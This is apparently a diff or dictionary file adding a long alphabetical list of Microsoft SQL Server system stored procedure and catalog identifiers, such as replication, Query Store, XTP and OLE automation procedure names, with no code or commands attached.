+sp_MSadd_dynamic_snapshot_location +sp_MSadd_filteringcolumn +sp_MSaddguidcolumn +sp_MSaddguidindex +sp_MSaddinitialarticle +sp_MSaddinitialpublication +sp_MSaddinitialschemaarticle +sp_MSaddinitialsubscription +sp_MSaddlightweightmergearticle +sp_MSadd_logreader_agent +sp_MSadd_logreader_history +sp_MSadd_log_shipping_error_detail +sp_MSadd_log_shipping_history_detail +sp_MSadd_merge_agent +sp_MSadd_merge_anonymous_agent +sp_MSaddmergedynamicsnapshotjob +sp_MSadd_merge_history +sp_MSadd_merge_history90 +sp_MSadd_mergereplcommand +sp_MSadd_mergesubentry_indistdb +sp_MSadd_merge_subscription +sp_MSaddmergetriggers +sp_MSaddmergetriggers_from_template +sp_MSaddmergetriggers_internal +sp_MSaddpeerlsn +sp_MSadd_publication +sp_MSadd_qreader_agent +sp_MSadd_qreader_history +sp_MSadd_repl_alert +sp_MSadd_replcmds_mcit +sp_MSadd_repl_command +sp_MSadd_repl_commands27hp +sp_MSadd_repl_error +sp_MSadd_replmergealert +sp_MSadd_snapshot_agent +sp_MSadd_snapshot_history +sp_MSadd_subscriber_info +sp_MSadd_subscriber_schedule +sp_MSadd_subscription +sp_MSadd_subscription_3rd +sp_MSaddsubscriptionarticles +sp_MSadd_tracer_history +sp_MSadd_tracer_token +sp_MSadjust_pub_identity +sp_MSagent_retry_stethoscope +sp_MSagent_stethoscope +sp_MSallocate_new_identity_range +sp_MSalreadyhavegeneration +sp_MSanonymous_status +sp_MSarticlecleanup +sp_MSbrowsesnapshotfolder +sp_MScache_agent_parameter +sp_MScdc_capture_job +sp_MScdc_cleanup_job +sp_MScdc_db_ddl_event +sp_MScdc_ddl_event +sp_MScdc_logddl +sp_MSchange_article +sp_MSchangearticleresolver +sp_MSchange_distribution_agent_properties +sp_MSchangedynamicsnapshotjobatdistributor +sp_MSchangedynsnaplocationatdistributor +sp_MSchange_logreader_agent_properties +sp_MSchange_merge_agent_properties +sp_MSchange_mergearticle +sp_MSchange_mergepublication +sp_MSchangeobjectowner +sp_MSchange_originatorid +sp_MSchange_priority +sp_MSchange_publication +sp_MSchange_retention +sp_MSchange_retention_period_unit +sp_MSchange_snapshot_agent_properties +sp_MSchange_subscription_dts_info +sp_MScheck_agent_instance +sp_MScheck_dropobject +sp_MScheckexistsgeneration +sp_MScheckexistsrecguid +sp_MScheckfailedprevioussync +sp_MScheckidentityrange +sp_MScheckIsPubOfSub +sp_MScheck_Jet_Subscriber +sp_MScheck_logicalrecord_metadatamatch +sp_MScheck_merge_subscription_count +sp_MScheck_pub_identity +sp_MScheck_pull_access +sp_MSchecksharedagentforpublication +sp_MScheck_snapshot_agent +sp_MSchecksnapshotstatus +sp_MScheck_subscription +sp_MScheck_subscription_expiry +sp_MScheck_subscription_partition +sp_MScheck_tran_retention +sp_MScleanup_agent_entry +sp_MScleanup_conflict +sp_MScleanupdynamicsnapshotfolder +sp_MScleanupdynsnapshotvws +sp_MSCleanupForPullReinit +sp_MScleanupmergepublisher +sp_MScleanupmergepublisher_internal +sp_MScleanup_publication_ADinfo +sp_MScleanup_subscription_distside_entry +sp_MSclear_dynamic_snapshot_location +sp_MSclearresetpartialsnapshotprogressbit +sp_MScomputelastsentgen +sp_MScomputemergearticlescreationorder +sp_MScomputemergeunresolvedrefs +sp_MSconflicttableexists +sp_MScreate_all_article_repl_views +sp_MScreate_article_repl_views +sp_MScreatedisabledmltrigger +sp_MScreate_dist_tables +sp_MScreatedummygeneration +sp_MScreateglobalreplica +sp_MScreatelightweightinsertproc +sp_MScreatelightweightmultipurposeproc +sp_MScreatelightweightprocstriggersconstraints +sp_MScreatelightweightupdateproc +sp_MScreate_logical_record_views +sp_MScreatemergedynamicsnapshot +sp_MScreateretry +sp_MScreate_sub_tables +sp_MScreate_tempgenhistorytable +sp_MSdbuseraccess +sp_MSdbuserpriv +sp_MSdefer_check +sp_MSdeletefoldercontents +sp_MSdeletemetadataactionrequest +sp_MSdeletepeerconflictrow +sp_MSdeleteretry +sp_MSdelete_tracer_history +sp_MSdeletetranconflictrow +sp_MSdelgenzero +sp_MSdelrow +sp_MSdelrowsbatch +sp_MSdelrowsbatch_downloadonly +sp_MSdelsubrows +sp_MSdelsubrowsbatch +sp_MSdependencies +sp_MSdetectinvalidpeerconfiguration +sp_MSdetectinvalidpeersubscription +sp_MSdetect_nonlogged_shutdown +sp_MSdist_activate_auto_sub +sp_MSdist_adjust_identity +sp_MSdistpublisher_cleanup +sp_MSdistribution_counters +sp_MSdistributoravailable +sp_MSdodatabasesnapshotinitiation +sp_MSdopartialdatabasesnapshotinitiation +sp_MSdrop_6x_publication +sp_MSdrop_6x_replication_agent +sp_MSdrop_anonymous_entry +sp_MSdrop_article +sp_MSdroparticleconstraints +sp_MSdroparticletombstones +sp_MSdropconstraints +sp_MSdrop_distribution_agent +sp_MSdrop_distribution_agentid_dbowner_proxy +sp_MSdrop_dynamic_snapshot_agent +sp_MSdropdynsnapshotvws +sp_MSdropfkreferencingarticle +sp_MSdrop_logreader_agent +sp_MSdrop_merge_agent +sp_MSdropmergearticle +sp_MSdropmergedynamicsnapshotjob +sp_MSdrop_merge_subscription +sp_MSdropobsoletearticle +sp_MSdrop_publication +sp_MSdrop_qreader_history +sp_MSdropretry +sp_MSdrop_snapshot_agent +sp_MSdrop_snapshot_dirs +sp_MSdrop_subscriber_info +sp_MSdrop_subscription +sp_MSdrop_subscription_3rd +sp_MSdrop_tempgenhistorytable +sp_MSdroptemptable +sp_MSdummyupdate +sp_MSdummyupdate90 +sp_MSdummyupdatelightweight +sp_MSdummyupdate_logicalrecord +sp_MSdynamicsnapshotjobexistsatdistributor +sp_MSenable_publication_for_het_sub +sp_MSensure_single_instance +sp_MSenumallpublications +sp_MSenumallsubscriptions +sp_MSenumarticleslightweight +sp_MSenumchanges +sp_MSenumchanges_belongtopartition +sp_MSenumchangesdirect +sp_MSenumchangeslightweight +sp_MSenumchanges_notbelongtopartition +sp_MSenumcolumns +sp_MSenumcolumnslightweight +sp_MSenumdeletes_forpartition +sp_MSenumdeleteslightweight +sp_MSenumdeletesmetadata +sp_MSenum_distribution +sp_MSenumdistributionagentproperties +sp_MSenum_distribution_s +sp_MSenum_distribution_sd +sp_MSenumerate_PAL +sp_MSenumgenerations +sp_MSenumgenerations90 +sp_MSenum_logicalrecord_changes +sp_MSenum_logreader +sp_MSenum_logreader_s +sp_MSenum_logreader_sd +sp_MSenum_merge +sp_MSenum_merge_agent_properties +sp_MSenum_merge_s +sp_MSenum_merge_sd +sp_MSenum_merge_subscriptions +sp_MSenum_merge_subscriptions_90_publication +sp_MSenum_merge_subscriptions_90_publisher +sp_MSenum_metadataaction_requests +sp_MSenumpartialchanges +sp_MSenumpartialchangesdirect +sp_MSenumpartialdeletes +sp_MSenumpubreferences +sp_MSenum_qreader +sp_MSenum_qreader_s +sp_MSenum_qreader_sd +sp_MSenumreplicas +sp_MSenumreplicas90 +sp_MSenum_replication_agents +sp_MSenum_replication_job +sp_MSenum_replqueues +sp_MSenum_replsqlqueues +sp_MSenumretries +sp_MSenumschemachange +sp_MSenum_snapshot +sp_MSenum_snapshot_s +sp_MSenum_snapshot_sd +sp_MSenum_subscriptions +sp_MSenumsubscriptions +sp_MSenumthirdpartypublicationvendornames +sp_MSestimatemergesnapshotworkload +sp_MSestimatesnapshotworkload +sp_MSevalsubscriberinfo +sp_MSevaluate_change_membership_for_all_articles_in_pubid +sp_MSevaluate_change_membership_for_pubid +sp_MSevaluate_change_membership_for_row +sp_MSexecwithlsnoutput +sp_MSfast_delete_trans +sp_MSfetchAdjustidentityrange +sp_MSfetchidentityrange +sp_MSfillupmissingcols +sp_MSfilterclause +sp_MSfix_6x_tasks +sp_MSfixlineageversions +sp_MSFixSubColumnBitmaps +sp_MSfixupbeforeimagetables +sp_MSflush_access_cache +sp_MSforce_drop_distribution_jobs +sp_MSforcereenumeration +sp_MSforeachdb +sp_MSforeachtable +sp_MSforeach_worker +sp_MSgenerateexpandproc +sp_MSget_agent_names +sp_MSgetagentoffloadinfo +sp_MSgetalertinfo +sp_MSgetalternaterecgens +sp_MSgetarticlereinitvalue +sp_MSget_attach_state +sp_MSgetchangecount +sp_MSgetconflictinsertproc +sp_MSgetconflicttablename +sp_MSGetCurrentPrincipal +sp_MSgetdatametadatabatch +sp_MSgetdbversion +sp_MSget_DDL_after_regular_snapshot +sp_MSgetdynamicsnapshotapplock +sp_MSget_dynamic_snapshot_location +sp_MSgetdynsnapvalidationtoken +sp_MSgetgenstatus4rows +sp_MSget_identity_range_info +sp_MSgetisvalidwindowsloginfromdistributor +sp_MSget_jobstate +sp_MSgetlastrecgen +sp_MSgetlastsentgen +sp_MSgetlastsentrecgens +sp_MSget_last_transaction +sp_MSgetlastupdatedtime +sp_MSget_latest_peerlsn +sp_MSgetlightweightmetadatabatch +sp_MSget_load_hint +sp_MSget_logicalrecord_lineage +sp_MSget_log_shipping_new_sessionid +sp_MSgetmakegenerationapplock +sp_MSgetmakegenerationapplock_90 +sp_MSgetmaxbcpgen +sp_MSgetmaxsnapshottimestamp +sp_MSget_max_used_identity +sp_MSgetmergeadminapplock +sp_MSgetmetadatabatch +sp_MSgetmetadatabatch90 +sp_MSgetmetadatabatch90new +sp_MSgetmetadata_changedlogicalrecordmembers +sp_MSget_min_seqno +sp_MSget_MSmerge_rowtrack_colinfo +sp_MSget_new_xact_seqno +sp_MSget_oledbinfo +sp_MSgetonerow +sp_MSgetonerowlightweight +sp_MSget_partitionid_eval_proc +sp_MSgetpeerconflictrow +sp_MSgetpeerlsns +sp_MSgetpeertopeercommands +sp_MSgetpeerwinnerrow +sp_MSgetpubinfo +sp_MSget_publication_from_taskname +sp_MSget_publisher_rpc +sp_MSget_repl_cmds_anonymous +sp_MSget_repl_commands +sp_MSget_repl_error +sp_MSgetreplicainfo +sp_MSgetreplicastate +sp_MSgetrowmetadata +sp_MSgetrowmetadatalightweight +sp_MSget_server_portinfo +sp_MSGetServerProperties +sp_MSget_session_statistics +sp_MSgetsetupbelong_cost +sp_MSget_shared_agent +sp_MSget_snapshot_history +sp_MSgetsubscriberinfo +sp_MSget_subscriber_partition_id +sp_MSget_subscription_dts_info +sp_MSget_subscription_guid +sp_MSgetsupportabilitysettings +sp_MSget_synctran_commands +sp_MSgettrancftsrcrow +sp_MSgettranconflictrow +sp_MSget_type_wrapper +sp_MSgetversion +sp_MSgrantconnectreplication +sp_MShaschangeslightweight +sp_MShasdbaccess +sp_MShelp_article +sp_MShelpcolumns +sp_MShelpconflictpublications +sp_MShelpcreatebeforetable +sp_MShelpdestowner +sp_MShelp_distdb +sp_MShelp_distribution_agentid +sp_MShelpdynamicsnapshotjobatdistributor +sp_MShelpfulltextindex +sp_MShelpfulltextscript +sp_MShelp_identity_property +sp_MShelpindex +sp_MShelplogreader_agent +sp_MShelp_logreader_agentid +sp_MShelp_merge_agentid +sp_MShelpmergearticles +sp_MShelpmergeconflictcounts +sp_MShelpmergedynamicsnapshotjob +sp_MShelpmergeidentity +sp_MShelpmergeschemaarticles +sp_MShelpobjectpublications +sp_MShelp_profile +sp_MShelp_profilecache +sp_MShelp_publication +sp_MShelp_repl_agent +sp_MShelp_replication_status +sp_MShelp_replication_table +sp_MShelpreplicationtriggers +sp_MShelp_snapshot_agent +sp_MShelpsnapshot_agent +sp_MShelp_snapshot_agentid +sp_MShelp_subscriber_info +sp_MShelp_subscription +sp_MShelp_subscription_status +sp_MShelpsummarypublication +sp_MShelptracertokenhistory +sp_MShelptracertokens +sp_MShelptranconflictcounts +sp_MShelptype +sp_MShelpvalidationdate +sp_MSIfExistsSubscription +sp_MSindexspace +sp_MSinitdynamicsubscriber +sp_MSinit_publication_access +sp_MSinit_subscription_agent +sp_MSinsertdeleteconflict +sp_MSinserterrorlineage +sp_MSinsertgenerationschemachanges +sp_MSinsertgenhistory +sp_MSinsert_identity +sp_MSinsertlightweightschemachange +sp_MSinsertschemachange +sp_MSinvalidate_snapshot +sp_MSIsContainedAGSession +sp_MSisnonpkukupdateinconflict +sp_MSispeertopeeragent +sp_MSispkupdateinconflict +sp_MSispublicationqueued +sp_MSisreplmergeagent +sp_MSissnapshotitemapplied +sp_MSkilldb +sp_MSlock_auto_sub +sp_MSlock_distribution_agent +sp_MSlocktable +sp_MSloginmappings +sp_MSmakearticleprocs +sp_MSmakebatchinsertproc +sp_MSmakebatchupdateproc +sp_MSmakeconflictinsertproc +sp_MSmakectsview +sp_MSmakedeleteproc +sp_MSmakedynsnapshotvws +sp_MSmakeexpandproc +sp_MSmakegeneration +sp_MSmakeinsertproc +sp_MSmakemetadataselectproc +sp_MSmakeselectproc +sp_MSmakesystableviews +sp_MSmakeupdateproc +sp_MSmap_partitionid_to_generations +sp_MSmarkreinit +sp_MS_marksystemobject +sp_MSmatchkey +sp_MSmerge_alterschemaonly +sp_MSmerge_altertrigger +sp_MSmerge_alterview +sp_MSmerge_ddldispatcher +sp_MSmerge_getgencount +sp_MSmerge_getgencur_public +sp_MSmerge_is_snapshot_required +sp_MSmerge_log_identity_range_allocations +sp_MSmerge_parsegenlist +sp_MSmergesubscribedb +sp_MSmergeupdatelastsyncinfo +sp_MSmerge_upgrade_subscriber +sp_MSneedmergemetadataretentioncleanup +sp_MSNonSQLDDL +sp_MSNonSQLDDLForSchemaDDL +sp_MSobjectprivs +sp_MSpeerapplyresponse +sp_MSpeerapplytopologyinfo +sp_MSpeerconflictdetection_statuscollection_applyresponse +sp_MSpeerconflictdetection_statuscollection_sendresponse +sp_MSpeerconflictdetection_topology_applyresponse +sp_MSpeerdbinfo +sp_MSpeersendresponse +sp_MSpeersendtopologyinfo +sp_MSpeertopeerfwdingexec +sp_MSpostapplyscript_forsubscriberprocs +sp_MSpost_auto_proc +sp_MSprepare_mergearticle +sp_MSprep_exclusive +sp_MSprofile_in_use +sp_MSproxiedmetadata +sp_MSproxiedmetadatabatch +sp_MSproxiedmetadatalightweight +sp_MSpub_adjust_identity +sp_MSpublication_access +sp_MSpublicationcleanup +sp_MSpublicationview +sp_MSquerysubtype +sp_MSquery_syncstates +sp_MSrecordsnapshotdeliveryprogress +sp_MSreenable_check +sp_MSrefresh_anonymous +sp_MSrefresh_publisher_idrange +sp_MSregenerate_mergetriggersprocs +sp_MSregisterdynsnapseqno +sp_MSregistermergesnappubid +sp_MSregistersubscription +sp_MSreinit_failed_subscriptions +sp_MSreinit_hub +sp_MSreinitoverlappingmergepublications +sp_MSreinit_subscription +sp_MSreleasedynamicsnapshotapplock +sp_MSreleasemakegenerationapplock +sp_MSreleasemergeadminapplock +sp_MSreleaseSlotLock +sp_MSreleasesnapshotdeliverysessionlock +sp_MSremove_mergereplcommand +sp_MSremoveoffloadparameter +sp_MSreplagentjobexists +sp_MSrepl_agentstatussummary +sp_MSrepl_backup_complete +sp_MSrepl_backup_start +sp_MSreplcheckoffloadserver +sp_MSreplcheck_permission +sp_MSrepl_check_publisher +sp_MSreplcheck_pull +sp_MSreplcheck_subscribe +sp_MSreplcheck_subscribe_withddladmin +sp_MSreplcopyscriptfile +sp_MSrepl_createdatatypemappings +sp_MSrepl_distributionagentstatussummary +sp_MSrepl_dropdatatypemappings +sp_MSrepl_enumarticlecolumninfo +sp_MSrepl_enumpublications +sp_MSrepl_enumpublishertables +sp_MSrepl_enumsubscriptions +sp_MSrepl_enumtablecolumninfo +sp_MSrepl_FixPALRole +sp_MSrepl_getdistributorinfo +sp_MSrepl_getpkfkrelation +sp_MSrepl_gettype_mappings +sp_MSrepl_helparticlermo +sp_MS_replication_installed +sp_MSrepl_init_backup_lsns +sp_MSrepl_isdbowner +sp_MSrepl_IsLastPubInSharedSubscription +sp_MSrepl_IsUserInAnyPAL +sp_MSrepl_linkedservers_rowset +sp_MSrepl_mergeagentstatussummary +sp_MSrepl_monitor_job_at_failover +sp_MSrepl_PAL_rolecheck +sp_MSrepl_raiserror +sp_MSreplraiserror +sp_MSrepl_reinit_jobsync_table +sp_MSreplremoveuncdir +sp_MSrepl_schema +sp_MSrepl_setNFR +sp_MSrepl_snapshot_helparticlecolumns +sp_MSrepl_snapshot_helppublication +sp_MSrepl_startup +sp_MSrepl_startup_internal +sp_MSrepl_subscription_rowset +sp_MSrepl_testadminconnection +sp_MSrepl_testconnection +sp_MSreplupdateschema +sp_MSrequestreenumeration +sp_MSrequestreenumeration_lightweight +sp_MSreset_attach_state +sp_MSreset_queued_reinit +sp_MSresetsnapshotdeliveryprogress +sp_MSreset_subscription +sp_MSreset_subscription_seqno +sp_MSreset_synctran_bit +sp_MSreset_transaction +sp_MSrestoresavedforeignkeys +sp_MSretrieve_publication_attributes +sp_MSscript_article_view +sp_MSscriptcustomdelproc +sp_MSscriptcustominsproc +sp_MSscriptcustomupdproc +sp_MSscriptdatabase +sp_MSscriptdb_worker +sp_MSscript_dri +sp_MSscriptforeignkeyrestore +sp_MSscript_pub_upd_trig +sp_MSscriptsubscriberprocs +sp_MSscript_sync_del_proc +sp_MSscript_sync_del_trig +sp_MSscript_sync_ins_proc +sp_MSscript_sync_ins_trig +sp_MSscript_sync_upd_proc +sp_MSscript_sync_upd_trig +sp_MSscriptviewproc +sp_MSsendtosqlqueue +sp_MSsetaccesslist +sp_MSsetalertinfo +sp_MSsetartprocs +sp_MSsetbit +sp_MSsetconflictscript +sp_MSsetconflicttable +sp_MSsetcontext_bypasswholeddleventbit +sp_MSsetcontext_replagent +sp_MSset_dynamic_filter_options +sp_MSsetgentozero +sp_MSsetlastrecgen +sp_MSsetlastsentgen +sp_MSset_logicalrecord_metadata +sp_MSset_new_identity_range +sp_MSset_oledb_prop +sp_MSsetreplicainfo +sp_MSsetreplicaschemaversion +sp_MSsetreplicastatus +sp_MSset_repl_serveroptions +sp_MSsetrowmetadata +sp_MSSetServerProperties +sp_MSset_snapshot_xact_seqno +sp_MSset_sub_guid +sp_MSsetsubscriberinfo +sp_MSset_subscription_properties +sp_MSsettopology +sp_MSsetupbelongs +sp_MSsetup_identity_range +sp_MSsetupnosyncsubwithlsnatdist +sp_MSsetupnosyncsubwithlsnatdist_cleanup +sp_MSsetupnosyncsubwithlsnatdist_helper +sp_MSsetup_partition_groups +sp_MSsetup_use_partition_groups +sp_MSSharedFixedDisk +sp_MSSQLDMO70_version +sp_MSSQLDMO80_version +sp_MSSQLDMO90_version +sp_MSSQLOLE65_version +sp_MSSQLOLE_version +sp_MSstartdistribution_agent +sp_MSstartmerge_agent +sp_MSstartsnapshot_agent +sp_MSstopdistribution_agent +sp_MSstopmerge_agent +sp_MSstopsnapshot_agent +sp_MSsub_check_identity +sp_MSsubscription_status +sp_MSsubscriptionvalidated +sp_MSsub_set_identity +sp_MStablechecks +sp_MStablekeys +sp_MStablerefs +sp_MStablespace +sp_MStestbit +sp_MStran_ddlrepl +sp_MStran_is_snapshot_required +sp_MStrypurgingoldsnapshotdeliveryprogress +sp_MSuniquename +sp_MSunmarkifneeded +sp_MSunmarkreplinfo +sp_MSunmarkschemaobject +sp_MSunregistersubscription +sp_MSupdate_agenttype_default +sp_MSupdatecachedpeerlsn +sp_MSupdategenerations_afterbcp +sp_MSupdategenhistory +sp_MSupdateinitiallightweightsubscription +sp_MSupdatelastsyncinfo +sp_MSupdatepeerlsn +sp_MSupdaterecgen +sp_MSupdatereplicastate +sp_MSupdate_singlelogicalrecordmetadata +sp_MSupdate_subscriber_info +sp_MSupdate_subscriber_schedule +sp_MSupdate_subscriber_tracer_history +sp_MSupdate_subscription +sp_MSupdatesysmergearticles +sp_MSupdate_tracer_history +sp_MSuplineageversion +sp_MSuploadsupportabilitydata +sp_MSuselightweightreplication +sp_MSvalidatearticle +sp_MSvalidate_dest_recgen +sp_MSvalidate_subscription +sp_MSvalidate_wellpartitioned_articles +sp_MSwritemergeperfcounter +sp_new_parallel_nested_tran_id +sp_OACreate +sp_OADestroy +sp_OAGetErrorInfo +sp_OAGetProperty +sp_OAMethod +sp_OASetProperty +sp_OAStop +sp_objectfilegroup +sp_oledb_database +sp_oledb_defdb +sp_oledb_deflang +sp_oledbinfo +sp_oledb_language +sp_oledb_ro_usrname +sp_ORbitmap +sp_password +sp_peerconflictdetection_tableaug +sp_persistent_version_cleanup +sp_pkeys +sp_polybase_authorize +sp_polybase_join_group +sp_polybase_leave_group +sp_polybase_show_objects +sp_PostAgentInfo +sp_posttracertoken +sp_prepare +sp_prepexec +sp_prepexecrpc +sp_primarykeys +sp_primary_keys_rowset +sp_primary_keys_rowset2 +sp_primary_keys_rowset_rmt +sp_procedure_params_100_managed +sp_procedure_params_100_rowset +sp_procedure_params_100_rowset2 +sp_procedure_params_90_rowset +sp_procedure_params_90_rowset2 +sp_procedure_params_managed +sp_procedure_params_rowset +sp_procedure_params_rowset2 +sp_procedures_rowset +sp_procedures_rowset2 +sp_processlogshippingmonitorhistory +sp_processlogshippingmonitorprimary +sp_processlogshippingmonitorsecondary +sp_processlogshippingretentioncleanup +sp_process_memory_leak_record +sp_procoption +sp_prop_oledb_provider +sp_provider_types_100_rowset +sp_provider_types_90_rowset +sp_provider_types_rowset +sp_publicationsummary +sp_publication_validation +sp_publish_database_to_syms +sp_publishdb +sp_publisherproperty +sp_query_store_clear_hints +sp_query_store_consistency_check +sp_query_store_flush_db +sp_query_store_force_plan +sp_query_store_remove_plan +sp_query_store_remove_query +sp_query_store_reset_exec_stats +sp_query_store_set_hints +sp_query_store_unforce_plan +sp_rbpex_exec_cmd +sp_rda_deauthorize_db +sp_rda_get_rpo_duration +sp_rda_reauthorize_db +sp_rda_reconcile_batch +sp_rda_reconcile_columns +sp_rda_reconcile_indexes +sp_rda_set_query_mode +sp_rda_set_rpo_duration +sp_rda_test_connection +sp_readerrorlog +sp_recompile +sp_redirect_publisher +sp_refresh_heterogeneous_publisher +sp_refresh_log_shipping_monitor +sp_refresh_parameter_encryption +sp_refresh_single_snapshot_view +sp_refresh_snapshot_views +sp_refreshsqlmodule +sp_refreshsubscriptions +sp_refreshview +sp_registercustomresolver +sp_register_custom_scripting +sp_reinitmergepullsubscription +sp_reinitmergesubscription +sp_reinitpullsubscription +sp_reinitsubscription +sp_release_all_fido_locks +sp_releaseapplock +sp_release_fido_lock +sp_releaseschemalock +sp_remote_data_archive_event +sp_remoteoption +sp_remove_columnstore_column_dictionary +sp_removedbreplication +sp_removedistpublisherdbreplication +sp_removesrvreplication +sp_rename +sp_renamedb +sp_repladdcolumn +sp_replcleanupccsprocs +sp_replcmds +sp_replcounters +sp_replddlparser +sp_repldeletequeuedtran +sp_repldone +sp_repldropcolumn +sp_replflush +sp_repl_generateevent +sp_repl_generate_subscriber_event +sp_repl_generate_sync_status_event +sp_replgetparsedddlcmd +sp_replhelp +sp_replica +sp_replication_agent_checkup +sp_replicationdboption +sp_replincrementlsn +sp_replmonitorchangepublicationthreshold +sp_replmonitorgetoriginalpublisher +sp_replmonitorhelpmergesession +sp_replmonitorhelpmergesessiondetail +sp_replmonitorhelpmergesubscriptionmoreinfo +sp_replmonitorhelppublication +sp_replmonitorhelppublicationthresholds +sp_replmonitorhelppublisher +sp_replmonitorhelpsubscription +sp_replmonitorrefreshjob +sp_replmonitorsubscriptionpendingcmds +sp_replpostsyncstatus +sp_replqueuemonitor +sp_replrestart +sp_replrethrow +sp_replsendtoqueue +sp_replsetoriginator +sp_replsetsyncstatus +sp_replshowcmds +sp_replsqlqgetrows +sp_replsync +sp_repltrans +sp_replwritetovarbin +sp_requestpeerresponse +sp_requestpeertopologyinfo +sp_reserve_http_namespace +sp_reset_connection +sp_reset_session_context +sp_resetsnapshotdeliveryprogress +sp_resetstatus +sp_resign_database +sp_resolve_logins +sp_restoredbreplication +sp_restore_filelistonly +sp_restoremergeidentityrange +sp_resyncexecute +sp_resyncexecutesql +sp_resyncmergesubscription +sp_resyncprepare +sp_resyncuniquetable +sp_revokedbaccess +sp_revokelogin +sp_revoke_publication_access +sp_rollback_parallel_nested_tran +sp_schemafilter +sp_schemata_rowset +sp_scriptdelproc +sp_scriptdynamicupdproc +sp_scriptinsproc +sp_scriptmappedupdproc +sp_scriptpublicationcustomprocs +sp_script_reconciliation_delproc +sp_script_reconciliation_insproc +sp_script_reconciliation_sinsproc +sp_script_reconciliation_vdelproc +sp_script_reconciliation_xdelproc +sp_scriptsinsproc +sp_scriptsubconflicttable +sp_scriptsupdproc +sp_script_synctran_commands +sp_scriptupdproc +sp_scriptvdelproc +sp_scriptvupdproc +sp_scriptxdelproc +sp_scriptxupdproc +sp_sequence_get_range +sp_server_diagnostics +sp_server_info +sp_serveroption +sp_setapprole +sp_SetAutoSAPasswordAndDisable +sp_set_data_processed_limit +sp_setdefaultdatatypemapping +sp_set_distributed_query_context +sp_setnetname +sp_SetOBDCertificate +sp_setOraclepackageversion +sp_setreplfailovermode +sp_set_session_context +sp_set_session_resource_group +sp_setsubscriptionxactseqno +sp_settriggerorder +sp_setuserbylogin +sp_showcolv +sp_showinitialmemo_xml +sp_showlineage +sp_showmemo_xml +sp_show_openrowset_statistics +sp_showpendingchanges +sp_showrowreplicainfo +sp_sm_detach +sp_spaceused +sp_spaceused_remote_data_archive +sp_sparse_columns_100_rowset +sp_special_columns +sp_special_columns_100 +sp_special_columns_90 +sp_sproc_columns +sp_sproc_columns_100 +sp_sproc_columns_90 +sp_sqlagent_add_job +sp_sqlagent_add_jobstep +sp_sqlagent_delete_job +sp_sqlagent_help_jobstep +sp_sqlagent_log_job_history +sp_sqlagent_start_job +sp_sqlagent_stop_job +sp_sqlagent_verify_database_context +sp_sqlagent_write_jobstep_log +sp_sqlexec +sp_sqljdbc_xa_install +sp_sqljdbc_xa_uninstall +sp_srvrolepermission +sp_start_fixed_vlf +sp_startmergepullsubscription_agent +sp_startmergepushsubscription_agent +sp_startpublication_snapshot +sp_startpullsubscription_agent +sp_startpushsubscription_agent +sp_start_streaming_job +sp_start_user_instance +sp_statistics +sp_statistics_100 +sp_statistics_rowset +sp_statistics_rowset2 +sp_stopmergepullsubscription_agent +sp_stopmergepushsubscription_agent +sp_stoppublication_snapshot +sp_stoppullsubscription_agent +sp_stoppushsubscription_agent +sp_stop_streaming_job +sp_stored_procedures +sp_subscribe +sp_subscription_cleanup +sp_subscriptionsummary +sp_synapse_link_enable_db +sp_synapse_link_enable_table +sp_syspolicy_execute_policy +sp_syspolicy_subscribe_to_policy_category +sp_syspolicy_unsubscribe_from_policy_category +sp_syspolicy_update_ddl_trigger +sp_syspolicy_update_event_notification +sp_tablecollations +sp_tablecollations_100 +sp_tablecollations_90 +sp_table_constraints_rowset +sp_table_constraints_rowset2 +sp_tableoption +sp_table_privileges +sp_table_privileges_ex +sp_table_privileges_rowset +sp_table_privileges_rowset2 +sp_table_privileges_rowset_rmt +sp_tables +sp_tables_ex +sp_tables_info_90_rowset +sp_tables_info_90_rowset2 +sp_tables_info_90_rowset2_64 +sp_tables_info_90_rowset_64 +sp_tables_info_rowset +sp_tables_info_rowset2 +sp_tables_info_rowset2_64 +sp_tables_info_rowset_64 +sp_tables_rowset +sp_tables_rowset2 +sp_tables_rowset_rmt +sp_table_statistics2_rowset +sp_table_statistics_rowset +sp_tableswc +sp_table_type_columns_100 +sp_table_type_columns_100_rowset +sp_table_type_pkeys +sp_table_type_primary_keys_rowset +sp_table_types +sp_table_types_rowset +sp_table_validation +sp_testlinkedserver +spt_fallback_db +spt_fallback_dev +spt_fallback_usg +spt_monitor +sp_trace_create +sp_trace_generateevent +sp_trace_getdata +sp_trace_setevent +sp_trace_setfilter +sp_trace_setstatus +sp_try_set_session_context +spt_values +sp_unbindefault +sp_unbindrule +sp_unprepare +sp_unregistercustomresolver +sp_unregister_custom_scripting +sp_unsetapprole +sp_unsubscribe +sp_update_agent_profile +sp_updateextendedproperty +sp_update_logical_pause_flag +sp_updatestats +sp_update_user_instance +sp_upgrade_log_shipping +sp_user_counter1 +sp_user_counter10 +sp_user_counter2 +sp_user_counter3 +sp_user_counter4 +sp_user_counter5 +sp_user_counter6 +sp_user_counter7 +sp_user_counter8 +sp_user_counter9 +sp_usertypes_rowset +sp_usertypes_rowset2 +sp_usertypes_rowset_rmt +sp_validatecache +sp_validatelogins +sp_validatemergepublication +sp_validatemergepullsubscription +sp_validatemergesubscription +sp_validate_redirected_publisher +sp_validate_replica_hosts_as_publishers +sp_validlang +sp_validname +sp_verify_database_ledger +sp_verifypublisher +sp_views_rowset +sp_views_rowset2 +sp_vupgrade_mergeobjects +sp_vupgrade_mergetables +sp_vupgrade_mergetables_v2 +sp_vupgrade_replication +sp_vupgrade_replsecurity_metadata +sp_who +sp_who2 +sp_xa_commit +sp_xa_end +sp_xa_forget +sp_xa_forget_ex +sp_xa_init +sp_xa_init_ex +sp_xa_prepare +sp_xa_prepare_ex +sp_xa_recover +sp_xa_rollback +sp_xa_rollback_ex +sp_xa_start +sp_xcs_mark_column_relation +sp_xml_preparedocument +sp_xml_removedocument +sp_xml_schema_rowset +sp_xml_schema_rowset2 +sp_xp_cmdshell_proxy_account +sp_xtp_bind_db_resource_pool +sp_xtp_checkpoint_force_garbage_collection +sp_xtp_control_proc_exec_stats +sp_xtp_control_query_exec_stats +sp_xtp_flush_temporal_history +sp_xtp_kill_active_transactions +sp_xtp_merge_checkpoint_files +sp_xtp_objects_present +sp_xtp_set_memory_quota +sp_xtp_slo_can_downgrade +sp_xtp_slo_downgrade_finished +sp_xtp_slo_prepare_to_downgrade +sp_xtp_unbind_db_resource_pool +sql +sqlagent_job_history +sqlagent_jobs +sqlagent_jobsteps +sqlagent_jobsteps_logs +sqlbytes +sqlcrypt_version +SQL_DATA_ACCESS +sql_db_id +sql_dependencies +SqlDumperDumpFlags +SqlDumperDumpPath +SqlDumperDumpTimeOut +sql_expression_dependencies +sql_handle +SqlHandle +sql_logins +sql_memory_model 